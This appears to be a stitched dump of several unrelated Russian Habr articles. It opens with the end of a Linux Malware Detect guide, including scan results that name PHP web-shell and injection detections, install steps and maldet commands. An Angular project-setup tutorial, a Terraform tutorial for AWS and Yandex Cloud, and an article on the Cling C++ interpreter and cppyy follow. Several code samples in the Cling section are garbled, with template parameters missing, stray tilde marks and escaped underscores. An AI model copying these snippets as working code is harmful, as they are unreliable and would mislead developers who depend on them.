TOTAL HITS: 5
TOTAL CLEANED: 0
{HEX}php.cmdshell.unclassed.344 : www/user1/data/www/example.com/wp-content/plugins/7ja1i/nxeogyqbd3h.php
{HEX}php.cmdshell.cih.215 : /var/www/user1/data/www/example.com/xyiznwsk/info.php
{CAV}PHP.Trojan.Spambot : www/user1/data/www/example.com/wwp-content/plugins/customize-admin/bannerTQIz.php
{HEX}php.nested.base64.513 : /var/www/user1/data/www/example.com/engine/modules/topnews.php
{HEX}base64.inject.unclassed.6 : /var/www/user1/data/www/example.com/wp-content/plugins/wpematico/app/settings_page.php
{HEX}gzbase64.inject.unclassed.14 : /var/www/user1/data/director/example.com/wp-content/themes/zenith/404.php
```
#### Установка
Качаем:
```
wget http://www.rfxn.com/downloads/maldetect-current.tar.gz
```
Распаковываем:
```
tar -zxvf maldetect-current.tar.gz
```
Запускаем установку:
```
sh ./install.sh
```
При запуске install.sh программа установки размещает файлы LMD в /usr/local/maldetect, заносит исполняемый скрипт в /usr/local/sbin и libinotifytools.so.0 в /usr/lib.
В процессе инсталляции автоматически создаются ежедневные крон-задания для обновления сигнатур и запуска сканирования. По умолчанию в конфигурации указаны типичные пути для сканирования вебспейсов популярных панелей управлений, таких как ensim, psa, DirectAdmin, cpanel, interworx и дефолтных apache-путей размещения сайтов (/var/www/html, /usr/local/apache/htdocs). Для ISPmanager путь /var/www/ придется добавлять вручную.
#### Настройка
Конфиг LMD находится в файле /usr/local/maldetect/conf.maldet.
Конфиг хорошо документирован и позволяет настроить все, что душе угодно.
#### На заметку:
ionice -c 3 добавленный к строкам запуска скриптов по поиску и сканированию файлов поможет предотвратить нагрузку на дисковую подсистему выставив наинизший приоритет i/o.
В файле /usr/local/maldetect/maldet
находим:
```
find="$find"
```
меняем на:
```
find="ionice -c 3 $find"
```
находим:
```
clamscan="$clamscan"
```
меняем на:
```
clamscan="ionice -c 3 $clamscan"
```
Стоит отметить, что данное решение — своего рода «костыль», данную опцию стоит добавить в апстрим.
#### Типичные команды
Запускаем сканирование указанного каталога:
```
# maldet -a /home/user1/exapmle.com
```
По окончанию получаем результат вида:
```
maldet(24128): {scan} scan completed on example.com: files 4, malware hits 0, cleaned hits 0
maldet(24128): {scan} scan report saved, to view run: maldet --report 091713-1715.24128
```
Смотрим отчет:
```
#maldet --report 091713-1715.24128
```
Принудительно обновляем базы с rfxn.com:
```
#maldet -u
```
Принудительно обновляем версию с rfxn.com:
```
#maldet -d
```
Сканируем все изменные за последние X дней файлы (в данном случае 2) в указанном каталоге
```
#maldet -r /home/user1/ 2
```
Отправляем неизвестную уязвимость на rfxn.com:
```
#maldet -c /home/user1/file.php
```
Помещаем в карантин результаты сканирования SCANID (id из результатов сканирования)
```
#maldet -q 091713-1715.24128
```
Пытамся очистить результаты сканирования
```
#maldet -n, --clean 091713-1715.24128
```
Программа распространяется по лицензии GNU GPLv2.
Официальная страничка проекта: <http://www.rfxn.com/projects/linux-malware-detect> Linux Malware Detect.
Имею опыт использования и настройки, на все вопросы с удовольствием отвечу в комментариях. | https://habr.com/ru/post/194346/ | null | ru | null |
# Строгие правила для нового приложения на Angular
Как создать и настроить Angular проект с нуля
=============================================
Статья была обновлена **29 Февраля 2020** чтобы следовать лучшим практикам.
### Короткое вступление
Очень часто я встречаю ситуацию когда проект настроен не достаточно строго в начале разработки и это является большой ошибкой, так как изменение настройки линтеров или включение дополнительных опций проверки типов тайпскрипта в будущем может быть настоящей болью для всей команды. Поэтому не совершайте эту частую ошибку и настраивайте свой проект максимально строго с самого начала.
### Подготовка окружения для разработки
#### Git
Первое что должно быть установлено на любом окружении для разработки это **[Git](https://git-scm.com/downloads)**. Скачайте и установите Git на свою операционную систему.
После этого необходимо настроить персональные данные. Эта информация будет включаться в каждый коммит и тогда любой член команды сможет найти автора любой строчки кода на проекте.
```
// Для глобальной настройки (для всех проектов) используйте команды
$ git config --global user.name "John Doe"
$ git config --global user.email johndoe@example.com
// Для настройки конкретного проект перейдите в папку с проектом и выполните
$ git config user.name "John Doe"
$ git config user.email johndoe@example.com
```
#### NodeJs и NVM
Следующее что нужно настроить для работы с Angular это **[NodeJs](https://nodejs.org)**. Лучший подход на данный момент это установить NodeJs с помощью **[Node Version Manager](https://github.com/nvm-sh/nvm)**. Это даст возможность легко переключаться на любую версию и даже делать это автоматически для каждого проекта.
1. На MacOs перед установкой необходимо создать файл **.zshrc** в домашней директории.
```
$ touch ~/.zshrc
```
1. Выполните [инструкции](https://github.com/nvm-sh/nvm#install--update-script) для установки или обновления NVM.
2. Установите последнюю **LTS** версию **NodeJs**.
```
$ nvm install 'lts/*'
```
1. Установите ее как **default**.
```
$ nvm use 'lts/*'
$ nvm alias default 'lts/*'
```
1. Для автоматического переключения версии nodejs при переходе в проект на версиюуказанную в файле .nvmrc выполните [эти инструкции](https://github.com/nvm-sh/nvm#deeper-shell-integration).
### Установка CLI и создание проекта
1. Установите **CLI** используя менеджер пакетов npm.
```
$ npm install -g @angular/cli
```
1. Перейдите в папку со своим проектом и создайте **пустой Angular проект**
```
$ cd ~/Projects
$ ng new --create-application false --new-project-root apps project-name
```
Мы создали пустой проект с настроенной директорией **apps** для новых приложений. Другими словами мы подготовили основу для **монорепозитория**.
1. Создайте и сделайте коммит первого приложения в **монорепозитории**.
```
$ cd project-name
$ ng generate application --routing true --style scss website
$ git add .
$ git commit -m 'website application created'
```
Для создания дополнительных приложений просто повторите этот шаг с другим именем приложения вместо **website**.
### Создание библиотек
Я обычно советую создавать библиотеки в папке **libs**. Для этого нам необходимо изменить одну строку в **angular.json** файле:
```
"newProjectRoot": "apps",
```
На следующую строку:
```
"newProjectRoot": "libs",
```
И выполнить команду:
```
$ ng generate library @group-name/lib-name
```
Мы добавили **group-name** для более наглядной группировки библиотек по домену или какому то другому принципу. Также если вы захотите опубликовать библиотеку например в npm, сначала необходимо создать организацию [тут](https://www.npmjs.com/settings/misticwonder/packages) с названием соответствующим **group-name**. Это как namespace для группы связанных библиотек, например:
```
"@angular/common"
"@angular/compiler"
"@angular/core"
"@angular/forms"
```
Я более подробно опишу процесс публикации библиотек в npm в будущих статьях. А пока просто следуйте этому правилу.
И не забудьте вернуть **angular.json** к прежнему состоянию: `"newProjectRoot": "apps"`
Также я обычно советую не использовать defaultProject из angular.json, дальше в статье я покажу как настроить скрипты на конкретный проект, поэтому давайте пока установим эту настройку в пустое значение:
```
"defaultProject": ""
```
### Дополнительная конфигурация
#### NodeJs version
Добавьте **.nvmrc** файл с текстом `lts/*` в нем. Так же можно указать конкретную версию node, например `12.16.1`. Эта версия будет автоматически установлена если вы следовали моим предыдущим инструкциям. Также можно активировать эту версию вручную с помощью команды `$ nvm use`.
```
$ touch .nvmrc
$ echo "lts/*" > .nvmrc
```
#### Строгие проверки на null и undefined
Добавьте следующее правило в `tsconfig.json` чтоб включить строгую проверку на null и undefined. Это защитит вас от распространённой ошибки чтения свойства у undefined или null переменной.
```
"compilerOptions": {
"strictNullChecks": true,
}
```
Или **лучше**, если вы хотите больше строгих проверок включите все правила в компиляторе:
```
/* Strict Type-Checking Options */
"strict": true, /* Enable all strict type-checking options. */
// "noImplicitAny": true, /* Raise error on expressions and declarations with an implied 'any' type. */
// "strictNullChecks": true, /* Enable strict null checks. */
// "strictFunctionTypes": true, /* Enable strict checking of function types. */
// "strictBindCallApply": true, /* Enable strict 'bind', 'call', and 'apply' methods on functions. */
"strictPropertyInitialization": false, /* Enable strict checking of property initialization in classes. */
// "noImplicitThis": true, /* Raise error on 'this' expressions with an implied 'any' type. */
// "alwaysStrict": true, /* Parse in strict mode and emit "use strict" for each source file. */
/* Additional Checks */
"noUnusedLocals": true, /* Report errors on unused locals. */
"noUnusedParameters": true, /* Report errors on unused parameters. */
"noImplicitReturns": true, /* Report error when not all code paths in function return a value. */
"noFallthroughCasesInSwitch": true, /* Report errors for fallthrough cases in switch statement. */
```
#### Строгие правила TsLint
Включите **все tslint правила** на самые строгие настройки, для этого просто замените в **tslint.json**
```
"extends": "tslint:recommended",
```
На
```
"extends": "tslint:all",
```
И добавьте следующие правила чтобы отключить некоторые лишние правила
```
"no-use-before-declare": false,
"file-name-casing": [
true,
"kebab-case"
],
"no-implicit-dependencies": false,
"comment-format": [
true,
"check-space"
],
"newline-per-chained-call": false,
"no-object-literal-type-assertion": [
true,
{
"allow-arguments": true
}
],
"no-floating-promises": false,
"promise-function-async": false,
"completed-docs": false,
"prefer-function-over-method": false,
"no-submodule-imports": false,
"no-unsafe-any": false,
"no-inferrable-types": false,
"typedef": [
true,
"call-signature",
"arrow-call-signature",
"parameter",
"arrow-parameter",
"property-declaration",
"variable-declaration",
"variable-declaration-ignore-function",
"member-variable-declaration",
"object-destructuring",
"array-destructuring"
],
"no-null-keyword": false,
"no-parameter-properties": false,
"variable-name": {
"options": [
"ban-keywords",
"check-format",
"allow-leading-underscore",
"require-const-for-all-caps"
]
},
"max-line-length": false,
"increment-decrement": [true, "allow-post"],
"object-literal-key-quotes": false,
"align": [
true,
"parameters",
"statements",
"members"
],
```
В процессе разработки отключайте или настраивайте те правила которые вам не нравятся. И не забудьте **включить поддержку tslint в своей IDE**.
#### Lint SCSS с помощью stylelint
Добавьте **stylelint** для проверки качества вашего sсss кода
```
$ npm install -D stylelint stylelint-config-sass-guidelines
$ touch .stylelintrc.json
```
И настройте правила в **.stylelintrc.json**
```
{
"extends": "stylelint-config-sass-guidelines",
"ignoreFiles": [
"dist/**/*"
],
"rules": {
"no-empty-source": true
}
}
```
В процессе разработки отключите или настройте те правила которые вас не устраивают. И не забудьте **включить поддержку stylelint в своей IDE**
#### Prettier
Prettier используется для форматирования кода. Для некоторых строк кода Prettier выдает вам не тот результат который вам нравится, но не смотря на это преимущества от его использования гораздо больше.
```
$ npm install --save-dev --save-exact prettier
$ touch .prettierrc
$ touch .prettierignore
```
Добавьте настройки в файл **.prettierrc**
```
{
"printWidth": 120,
"tabWidth": 2,
"arrowParens": "always",
"bracketSpacing": true,
"endOfLine": "lf",
"semi": true,
"singleQuote": true,
"quoteProps": "consistent",
"trailingComma": "all"
}
```
И в файл **.prettierignore** с игнорируемыми файлами и папками
```
test.ts
```
#### E2E
Для запуска тестов в headless режиме нудно выполнить следующее:
1. В конфиге Karma (apps/website/karma.conf.js) добавить кастомный лаунчер ChromeHeadlessCI под браузерами
```
browsers: ['Chrome'],
customLaunchers: {
ChromeHeadlessCI: {
base: 'ChromeHeadless',
flags: ['--no-sandbox']
}
},
```
1. В корневой папке вашего e2e проекта создайте файл apps/website/e2e/protractor-ci.conf.js этот файл будет наследовать оригинальный apps/website/e2e/protractor.conf.js.
```
const config = require('./protractor.conf').config;
config.capabilities = {
browserName: 'chrome',
chromeOptions: {
args: ['--headless', '--no-sandbox']
}
};
exports.config = config;
```
#### HOOKS
Для того чтобы запускать линтеры, форматтеры или другие скрипты мы можем настроить git хуки. Мы будем использовать следующие пакеты для этого:
* **husky** — устанавливает хуки
* **lint-staged** — запускает команды только для подготовленных (staged) файлов
```
$ npm i -D husky lint-staged
```
Для настройки **lint-staged** просто добавьте следующие строки в **package.json**
```
"lint-staged": {
"{apps,libs}/**/*.{ts,scss,html}": [
"prettier --write"
],
"{apps,libs}/**/*.scss": [
"stylelint --fix"
]
},
```
Следующий шаг написать скрипты для наших хуков. Я предпочитаю создать папку **tools** для shell скриптов. Мы настроим 3 хука:
1. **pre-commit** — Хук который выполняется перед коммитом. В этом хуке будем выполнять prettier на измененных файлах и линтеры.
2. **commit-msg** — Хук в котором можно изменить текст коммита, мы используем его для того чтоб добавить имя ветки к тексту коммита.
3. **pre-push** — Хук который выполняется перед git push. Используем его для запуска тестов и e2e.
Конфигурация Husky в **package.json**:
```
"husky": {
"hooks": {
"pre-commit": "npm run pre-commit",
"commit-msg": "node ./tools/commit-msg.js",
"pre-push": "npm run pre-push"
}
},
```
Script `./tools/pre-commit.sh`
```
#!/bin/sh
npx lint-staged || exit
npm run lint:website || exit
```
Скрипт `./tools/commit-msg.js`
```
#!/usr/bin/env node
const fs = require('fs');
const { execSync } = require('child_process');
const message = fs.readFileSync(process.env.HUSKY_GIT_PARAMS, 'utf8').trim();
const currentBranch = getCurrentBranch();
fs.writeFileSync(process.env.HUSKY_GIT_PARAMS, `${currentBranch}: ${message}`);
process.exit(0);
function getCurrentBranch() {
const branches = execSync('git branch', { encoding: 'utf8' });
return branches
.split('\n')
.find((b) => b.charAt(0) === '*')
.trim()
.substring(2);
}
```
Скрипт `./tools/pre-push.sh`
```
#!/bin/sh
npm run test-ci:website || exit
npm run e2e-ci:website || exit
```
Нужно задать правильные права на файлы
```
$ chmod 755 ./tools/pre-commit.sh
$ chmod 755 ./tools/commit-msg.js
$ chmod 755 ./tools/pre-push.sh
```
И в завершение замените scripts в package.json для удобного запуска комманд
```
"scripts": {
"------------------ website ------------------": "",
"start:website": "ng serve website --port 4200",
"build:website": "ng build website --configuration production",
"lint:website": "ng lint website --fix",
"lint-scss:website": "stylelint --formatter verbose --fix \"apps/website/**/*.scss\"",
"test:website": "ng test website --code-coverage --no-watch",
"test-watch:website": "ng test website",
"test-ci:website": "ng test website --no-watch --no-progress --browsers=ChromeHeadlessCI",
"e2e:website": "ng e2e website --port 6200",
"e2e-ci:website": "ng e2e website --port 6200 --protractor-config=apps/website/e2e/protractor-ci.conf.js",
"------------------ common ------------------": "",
"prettier": "prettier --write \"{apps,libs}/**/*.{ts,scss,html}\"",
"lint-scss": "stylelint --formatter verbose --fix \"{apps,libs}/**/*.scss\"",
"pre-commit": "./tools/pre-commit.sh",
"pre-push": "./tools/pre-push.sh"
},
```
После всей настройки нужно запустить скрипты один за другим чтобы убедиться что все работает правильно.
---
Присоединяйтесь к нашему сообществу на [Medium](https://medium.com/most-wanted-experts), [Telegram](https://t.me/mw_experts) или [Twitter](https://twitter.com/MostWantedXpert). | https://habr.com/ru/post/481444/ | null | ru | null |
# Terraform за 15 дней (AWS/Yandex cloud). День 2: Поднимаем сервера
### Оглавление
1. [День 1: Введение](https://habr.com/ru/post/684964/)
2. [День 2: Поднимаем сервера](https://habr.com/ru/post/685062/)
3. [День 3: Data source и outputs](https://habr.com/ru/post/685520/)
### Ссылки
*Некоторые ссылки требует VPN*
[Справочник команд CLI aws](https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-welcome.html)
[Справочник команд CLI yc](https://cloud.yandex.ru/docs/cli/cli-ref/)
[Terraform provider aws](https://registry.terraform.io/providers/hashicorp/aws/latest/docs)
[Terraform provider Yandex](https://registry.terraform.io/providers/yandex-cloud/yandex/latest/docs)
Ресурсы
-------
Вчера мы остановились на инициализации terraform. Сегодня мы поднимем одну машину в дефолтной сети с дефолтными настройками. И Яндекс и aws изначально создают вам одну VPC и подсети в ней.
Напомню, что в terraform мы описываем сущности почти как в JSON:
```
resource "<НАЗВАНИЕ_РЕСУРСА>" "<ИМЯ>" {
<ПАРАМЕТР> = <ЗНАЧЕНИЕ>
<ДРУГОЙ_ПАРАМЕТР> = {
<ПАРАМЕТР> = <ЗНАЧЕНИЕ>
}
...
}
```
Сегодня нам потребуется:
* Получить id подсети в которой мы хотим поднять сервер
* Выбрать операционную систему (у каждого облачного сервиса свой список доступных ОС, но **ubuntu**, как правило, есть везде). Крупные сервисы предоставляют возможность создать свои собственные образы, на основе существующих; например, с предустановленными программами и настройками. Мы возьмем **ubuntu 22.04** из списка доступных. Как правило, версии ОС обновляются регулярно: от еженедельных обновлений до ежедневных (речь о внутренних версия сервиса, у aws и Яндекса они свои собственные)
* Создать ресурс (сервер) соответсвующий нашим требования.
Параметры у aws и yandex примерно одинаковые.
### Яндекс
С прошлого раза у нас есть id облака и папки в облаке. Сейчас нам понадобится:
* **id одной из подсетей** (уже существующих). Выбираем любую.
* Так же нам понадобится **id загрузочного образа (image\_id)** **ubuntu 22.04** из списка доступных.
* Добавить **новый ресурс - “**[**yandex\_compute\_instance**](https://registry.terraform.io/providers/yandex-cloud/yandex/latest/docs/resources/compute_instance)**”** с некоторым обязательным и не очень параметрами:
+ name - имя, отображаемое в веб консоле
+ [platform\_id - в Яндекс так называется тип процессора](https://cloud.yandex.ru/docs/compute/concepts/vm-platforms)
+ resources - мощности нашего сервера
+ boot\_disk - образ для загрузки (операционная система)
+ network\_interface - настройки подсети, в которой будет наш сервер
```
yc vpc subnet list
+----------------------+-----------------------+----------------------+----------------+---------------+-----------------+
| ID | NAME | NETWORK ID | ROUTE TABLE ID | ZONE | RANGE |
+----------------------+-----------------------+----------------------+----------------+---------------+-----------------+
| b0cqcohb42om4kvtpb9m | default-ru-central1-c | enpk6fkud1ei8pbp0rp0 | | ru-central1-c | [10.130.0.0/24] |
| e2lrmvnkpav8j1qtd1lb | default-ru-central1-b | enpk6fkud1ei8pbp0rp0 | | ru-central1-b | [10.129.0.0/24] |
| e9bdgo95ucmut6r7pioq | default-ru-central1-a | enpk6fkud1ei8pbp0rp0 | | ru-central1-a | [10.128.0.0/24] |
+----------------------+-----------------------+----------------------+----------------+---------------+-----------------+
```
*Возможно у вас, в будущем, уже вышла другая версия* ***ubuntu.*** *Это не принципиально.*`--folder-id standard-images` *означает, что мы ищем образы в папке со стандартными образами; точно так же можно искать пользовательские образы у себя в папке.*
```
yc compute image get-latest-from-family ubuntu-2204-lts \
--folder-id standard-images
id: fd8v0s6adqu3ui3rsuap
folder_id: standard-images
created_at: "2022-08-22T10:46:23Z"
name: ubuntu-22-04-lts-v20220822
description: ubuntu 22.04 lts
family: ubuntu-2204-lts
storage_size: "5326766080"
min_disk_size: "5368709120"
product_ids:
- f2e7rond1c6brcfkq1po
status: READY
os:
type: LINUX
pooled: true
```
*yandex/main.tf*
```
terraform {
required_providers {
yandex = {
source = "yandex-cloud/yandex"
}
}
}
provider "yandex" {
token = "AQA...C0A" # *OAuth-токен яндекса*
# не обязательный параметр (берется облако по умолчанию),
# хотя в документации написано иначе
cloud_id = "b1gos1rh49bip4rnmrmg"
folder_id = "b1gjju43i1pr11i5c4ic"
zone = "ru-central1-a"
}
# ресурс "yandex_compute_instance" т.е. сервер
# Terraform будет знаеть его по имени "yandex_compute_instance.default"
resource "yandex_compute_instance" "default" {
name = "test-instance"
platform_id = "standard-v1" # тип процессора (Intel Broadwell)
resources {
core_fraction = 5 # Гарантированная доля vCPU
cores = 2 # vCPU
memory = 1 # RAM
}
boot_disk {
initialize_params {
image_id = "fd8v0s6adqu3ui3rsuap" # ОС (Ubuntu, 22.04 LTS)
}
}
network_interface {
subnet_id = "e9bdgo95ucmut6r7pioq" # одна из дефолтных подсетей
nat = true # автоматически установить динамический ip
}
}
```
### aws
C aws дело обстоит похожим образом. Но, надо понимать, что в aws могут быть другие параметры по умолчанию. На данном этапе мы многое оставляем на усмотрение провайдеру, но нам все равно понадобится:
* **id** одной из **подсетей**
* **ami** - id загрузочного образа с **ubuntu**
* [Новый ресурс - aws\_instance](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/instance):
+ ami - образ ОС
+ subnet\_id - id подсети в дефолтной VPS
+ tags:Name - имя для веб консоли
+ [**instance\_type** - тип сервера с уже указанными ресурсами CPU и RAM](https://aws.amazon.com/ru/ec2/instance-types/) (у aws много типов, есть и конфигурируемые и с уже установленными значениями CPU и RAM)
```
aws ec2 describe-subnets \\
--query "Subnets[*].SubnetId" \\
--region eu-north-1
[
"subnet-3155417b",
"subnet-4dd73d36",
"subnet-82b67deb"
]
```
*Важно: в aws в каждом регионе свои образы (они одинаковые, но id разный), поэтому* `--region` необходимо указывать.
```
aws ec2 describe-images \\
--filters "Name=name,Values=ubuntu/images/hvm-ssd/ubuntu-jammy-22.04-amd64*" \\
--region eu-north-1 \\
--query 'Images[*].[ImageId,CreationDate,OwnerId,ImageOwnerAlias]' \\
--output text | sort -k2 -r
```
Нас интересует последняя версия НЕ из **aws-marketplace -** `ami-0a2b8744b4fe77f92`. **099720109477** - это id владельца образа (если вы создадите свой образ, там будет ваш id)
```
ami-0ba17020efe0c6d63 2022-08-10T20:12:59.000Z 679593333241 aws-marketplace
ami-0a2b8744b4fe77f92 2022-08-10T13:30:28.000Z 099720109477 None
ami-0936df414c3c7102d 2022-07-12T21:19:05.000Z 679593333241 aws-marketplace
ami-0852b274a4f812259 2022-07-12T20:33:43.000Z 099720109477 None
ami-0cf0e44936aed3a6f 2022-07-08T07:46:22.000Z 679593333241 aws-marketplace
ami-0407a4995711db777 2022-07-08T07:00:05.000Z 099720109477 None
...
```
*aws/main.tf*
```
provider "aws" {
access_key = "AK..."
secret_key = "2X..."
region = "eu-north-1"
}
# ресурс "aws_instance" т.е. сервер
# terraform будет знаеть его по имени "aws_instance.default"
resource "aws_instance" "default" {
ami = "ami-0a2b8744b4fe77f92" # ОС (Ubuntu, 22.04 LTS)
instance_type = "t3.micro" # тип процессора и ресурс машины (CPU и RAM)
subnet_id = "subnet-3155417b" # одна из дефолтных подсетей
associate_public_ip_address = true # автоматически установить динамический ip
tags = {
Name = "test-instance"
}
}
```
Запуск
------
В директории aws или yandex по очереди запускаем команд; в директории, [где до этого запускали команду](https://habr.com/ru/post/684964/) `terraform init` и где terraform создал папку `.terraform` c провайдером.
```
terraform plan
terraform apply
```
В терминале после команды `plan` и `apply` мы видим примерно одно и тоже - описание того, что terraform собирается делать. Не поленитесь и ознакомьтесь с содержимым. И сравните вывод с атрибутами из документации к провайдеру terraform.
Я считаю, это должно войти в привычку: перепроверять себя с командой `plan`. Terraform указывает, какие ресурсы он сможет изменить без пересоздания, а какие нет; какой именно параметр требует пересоздания ресурса. Также указаны те параметры, что неизвестны вовремя создания, и будут доступны после. Пока ограничимся просто запущенной машиной.
Если все в порядке, после `apply` вводим `yes` и наблюдаем… Должно получится что-то похожее:
```
yc compute instance list
+----------------------+---------------+---------------+---------+---------------+-------------+
| ID | NAME | ZONE ID | STATUS | EXTERNAL IP | INTERNAL IP |
+----------------------+---------------+---------------+---------+---------------+-------------+
| fhm5706an0ae4hl6jk9l | test-instance | ru-central1-a | RUNNING | 51.250.83.254 | 10.128.0.27 |
+----------------------+---------------+---------------+---------+---------------+-------------+
```
Yandex cloud console
```
aws ec2 describe-instances \\
--region eu-north-1 \\
--query "Reservations[*].Instances[*].{Instance:InstanceId,Name:Tags[?Key=='Name']|[0].Value}" \\
--output table
---------------------------------------------------------
| DescribeInstances |
+-------------+-----------------------+-----------------+
| AZ | Instance | Name |
+-------------+-----------------------+-----------------+
| eu-north-1c| i-083f3610e0930b98a | test-instance |
+-------------+-----------------------+-----------------+
```
AWS consoleЧто бы удалить все, что мы создали:
```
terraform destroy
```
Заключение
----------
Пока что не ясно, в чем польза от использования terraform, но будем двигаться постепенно, и со временем увидим всю мощь IaC.
Любые вопросы пишите на почту [***v.valentinvolkov@gmail.com***](mailto:v.valentinvolkov@gmail.com)***.*** Буду рад помочь! | https://habr.com/ru/post/685062/ | null | ru | null |
# Cling – не просто интерпретатор C++
Интерактивная интерпретация C++ при помощи Cling
------------------------------------------------
В этом посте будут рассмотрены некоторые продвинутые варианты применения Cling, поддерживающие интероперабельность и расширяемость. Здесь мы постараемся продемонстрировать создание экземпляров по запросу; встраивание Cling как услуги, а также похвастаемся расширением, обеспечивающим автоматическое дифференцирование на лету.
### Создание экземпляра шаблона по запросу
Cling реализует механизм `LookupHelper`, который берет код C++ и проверяет, существует ли уже объявление с именем, которое так квалифицировано. Например:
```
[cling] #include "cling/Interpreter/Interpreter.h"
[cling] #include "cling/Interpreter/LookupHelper.h"
[cling] #include "clang/AST/Decl.h"
[cling] struct S{};
[cling] cling::LookupHelper& LH = gCling->getLookupHelper()
(cling::LookupHelper &) @0x7fcba3c0bfc0
[cling] auto D = LH.findScope("std::vector~~",
cling::LookupHelper::DiagSetting::NoDiagnostics)
(const clang::Decl \*) 0x1216bdcd8
[cling] D->getDeclKindName()
(const char \*) "ClassTemplateSpecialization"~~
```
В данном конкретном случае `findScope` создает экземпляр шаблона и возвращает его представление в виде абстрактного синтаксического дерева для clang. Инстанцирование шаблона по требованию решает распространенную библиотечную проблему, которая называется «комбинаторный взрыв шаблона» (template combinatorial explosion). Инстанцирование шаблона по требованию и преобразование текстовых квалифицированных имен C++ в метаинформацию об объекте показало себя как очень мощный механизм, способствующий сериализации данных и языковой интероперабельности.
### Языковая интероперабельность по требованию
В качестве примера рассмотрим генератор [cppyy](https://cppyy.readthedocs.io/), предоставляющий во время выполнения автоматические привязки кода Python к коду на C++, при помощи Cling. Python сам по себе – это динамический язык, выполняемый интерпретатором. Поэтому взаимодействие с кодом C++ получается более естественным, если в качестве промежуточного звена выступает Cling. Среди примеров – инстанцирование шаблонов во время выполнения, обратные вызовы функций (указателей), межъязыковое наследование, автоматическое понижающее приведение (downcasting) и сопоставление исключений (exception mapping). Многие продвинутые возможности C++, такие как размещающий оператор new (placement new), множественное виртуальное наследование, шаблоны с переменным количеством параметров (variadic templates), т.д., естественным образом разрешаются при помощи LookupHelper.
cppyy достигает высокой производительности путем «вселенивого» подхода к конструированию привязок времени выполнения и специализации типичных случаев путем отражения времени выполнения. В целом он характеризуется гораздо меньшими издержками при вызовах, чем, например, pybind11, и перебирать `std::vector` через cppyy гораздо быстрее, чем перебирать массив numpy того же типа. Если сделать еще шаг вперед, то можно обратить внимание на реализацию cppyy для PyPy, полностью совместимого интерпретатора Python, который может похвастаться [трассирующим JIT](https://pypy.org/)-генератором. Во многих случаях он может предоставить нативный доступ к коду C++ при JIT в стиле PyPy, обеспечивая, в частности, разрешение перегрузок и предоставляя подсказки JIT, благодаря которым возможна агрессивная оптимизация.
Благодаря отражению времени выполнения, действующему в Cling, cppyy значительно упрощает поддержку большого программного стека; кроме собственной привязки к интерпретатору Python, имеющейся в cppyy, этот инструмент не содержит никакого скомпилированного кода, который зависел бы от Python. То есть, модули расширений, основанные на cppyy, не требуют никакой перекомпиляции при смене версий Python (ни даже, если, скажем, мы будем переключаться между интерпретаторами CPython и PyPy).
В следующем примере показана плотная интеграция между C++ и Python; здесь видна активная двунаправленная коммуникация между инстанцированием шаблонов и переопределениями, связанными с перекрестным наследованием; еще здесь видны поведения, характерные для времени выполнения (все происходит во время выполнения, скомпилированного кода здесь нет).
```
import cppyy
cppyy.cppdef(r"""\
template class Producer {
private:
T m\_value;
protected:
virtual T produce\_imp() = 0;
public:
Producer(const T& value) : m\_value(value) {}
virtual ~Producer() {}
T produce\_total() { return m\_value + produce\_imp(); }
};
class Consumer {
public:
template
void consume(Producer& p) {
std::cout << "received: \"" << p.produce\_total() << "\"\n";
}
};""")
def factory(base\_v, \*derived\_v):
class \_F(cppyy.gbl.Producer[type(base\_v)]):
def \_\_init\_\_(self, base\_v, \*derived\_v):
super().\_\_init\_\_(base\_v)
self.\_values = derived\_v
def produce\_imp(self):
return type(base\_v)(sum(self.\_values))
return \_F(base\_v, \*derived\_v)
consumer = cppyy.gbl.Consumer()
for producer in [factory(\*x) for x in \
(("hello ", 42), (3., 0.14, 0.0015))]:
consumer.consume(producer)
```
Вывод:
```
python3 cppyy_demo.py
received: "hello 42"
received: "3.1415"
```
В этом фрагменте кода мы создаем классы Python, основанные на аргументах Python, производные от шаблонного класса C++, экземпляр которого создается с указанием типа. Класс Python предоставляет реализацию защищенной функции, которая вызывается из публичной функции и в результате дает ожидаемое возвращаемое значение, которое выводится на экран. Здесь мы заостряем внимание на следующем:
* Python создает классы во время выполнения, что может и Cling, пусть даже они и объявляются в модуле (здесь релевантные классы создаются в фабричном методе);
* Шаблонные классы C++ можно инстанцировать на лету прямо из Python, взяв тип аргумента (т.e., воспользовавшись интроспекцией во время выполнения в Python), чтобы создать базовый класс C++ для класса Python.
* Межъязыковое произведение происходит во время выполнения и не требует от класса С++ никакой поддержки сверх виртуального деструктора и виртуальных методов;
* «Защищенные» методы C++ в Python могут быть переопределены, пусть даже в Python такой концепции нет, и вы, в сущности, не можете вызывать в Python защищенные методы из связанных объектов C++;
* Все это работает прямо «из коробки».
cppyy используется в нескольких больших базах кода по физике, химии, математике и биологии. Его легко установить через pip из PyPI (<https://pypi.org/project/cppyy/>), а также при помощи [conda](https://anaconda.org/conda-forge/cppyy).
Другой пример – интеграционный язык Symmetry (SIL). Это предметно-ориентированный язык функционального толка на основе языка D. Он был разработан для внутрикорпоративного применения в компании [Symmetry Investments](https://symmetryinvestments.com/), и там и используется. Одна из основных целей SIL – обеспечить легкую интероперабельность со всевозможными языками и системами. Это достигается при помощи разнообразных плагинов. Для вызова кода C++ язык SIL использует плагин под названием `sil-cling`, работающим как переходник между SIL и Cling. Однако, sil-cling взаимодействует с Cling не напрямую, а через cppyy-бекенд. Это обертка cppyy на C/C++, охватывающая Cling, который предоставляет стабильный API для рефлексии C/C++.
Существует два коренных типа, которые предоставляются из sil-cling в SIL. Один из них - `CPPNamespace`, предоставляющий пространство имен C++ и обеспечивающий свободный вызов функций, доступ к переменным пространства имен и создание экземпляров объектов из тех классов, что определены в этом пространстве имен. Другой - `ClingObj`, это посредник для объекта C++, обеспечивающий конструирование, вызов метода и манипуляции с членами данных объекта. Притом, что cppyy представляет классы, структуры и пространства имен C++ как «области видимости», и информация о рефлексии любых этих сущностей C++ получается через ассоциированные с ними объекты «области видимости», оба оберточных типа, предоставляемых для SIL, хранят ссылки на ассоциированные с ними объекты области видимости. Такой объект области видимости запрашивается всякий раз, когда оберточные типы используются для вызова кода C++.
Все вызовы выполняются из SIL через два оберточных типа, у каждого из которых по 3 аргумента: используемый объект-обертка, имя функции C++, которую нужно вызвать и (если нужно) последовательность аргументов для этой функции. Как только будут выполнены разрешение перегрузок и преобразование аргументов, sil-cling вызовет подходящую функцию cppyy, которая обернет вызов и диспетчеризует его в Cling для динамической компиляции. На момент написания статьи sil-cling может применяться для вызова таких библиотек C++ как `Boost.Asio`, `dlib` или `Xapian`.
